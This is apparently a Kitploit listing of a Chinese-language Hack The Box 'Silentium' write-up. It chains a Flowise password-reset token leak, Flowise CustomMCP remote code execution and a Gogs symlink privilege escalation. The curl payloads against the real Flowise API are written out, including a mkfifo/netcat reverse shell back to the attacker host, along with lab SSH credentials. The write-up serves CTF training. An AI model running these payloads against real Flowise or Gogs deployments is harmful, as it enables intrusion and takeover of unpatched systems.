Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HTB-Silentium-Writeup — Hack The Box - Silentium 靶机 Writeup | CVE-2025-58434、CVE-2025-59528、CVE-2025-8110 | Kitploit
工具/GitHubGitHub/twappz/htb-silentium-writeup
权限提升漏洞分析漏洞利用信息收集Web安全CTF渗透测试学习与教育容器逃逸
GitHubtwappz/htb-silentium-writeup

HTB-Silentium-Writeup

Hack The Box - Silentium 靶机 Writeup | CVE-2025-58434、CVE-2025-59528、CVE-2025-8110

查看仓库
154个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

HTB - Silentium 通关记录

Hack The Box Difficulty OS

机器信息

  • 名称: Silentium
  • 系统: Linux
  • 难度: 简单
  • CVE: CVE-2025-58434, CVE-2025-59528, CVE-2025-8110

枚举

Nmap 扫描

root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt

开放端口:22 (SSH), 80 (HTTP)

虚拟主机staging.silentium.htb 运行 Flowise 3.0.5


立足点 — Flowise RCE

CVE-2025-58434 — 未授权密码重置令牌泄露

忘记密码端点会在 API 响应中直接泄露 tempToken。

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]"}}'

使用泄露的 tempToken 重置密码:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
  -X POST -H "Content-Type: application/json" \
  -d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'

CVE-2025-59528 — 通过 CustomMCP 实现认证 RCE

登录获取 API 密钥,然后触发 RCE:

root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_KEY>" \
  -d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'

在 Docker 容器内以 root 身份获得 shell。


容器逃逸

检查环境变量:

root@kitploit:~
env

找到凭据:

  • FLOWISE_USERNAME=ben
  • FLOWISE_PASSWORD=F1l3_d0ck3r

SSH 连接主机:

root@kitploit:~
ssh ben@<IP>

权限提升 — Gogs CVE-2025-8110

Gogs 以 root 身份在内部端口 3001 上运行。

设置 SSH 隧道:

root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>

通过 http://127.0.0.1:8080 在 Gogs 上注册账户,并生成 API 令牌。

CVE-2025-8110 — PutContents API 中的符号链接绕过

使用 TYehan 的漏洞利用脚本:

root@kitploit:~
python3 exploit.py \
  --url http://127.0.0.1:8080 \
  --username <user> \
  --password <pass> \
  --token <token> \
  --host <LHOST> \
  --port 4446

获得 root shell!🎉


Flag

  • 用户 flag: /home/ben/user.txt
  • Root flag: /root/root.txt

使用的工具

  • nmap
  • curl
  • ffuf
  • netcat
  • Python3

参考链接

  • CVE-2025-58434
  • CVE-2025-59528
  • CVE-2025-8110 已添加到 /etc/hosts:
下载工具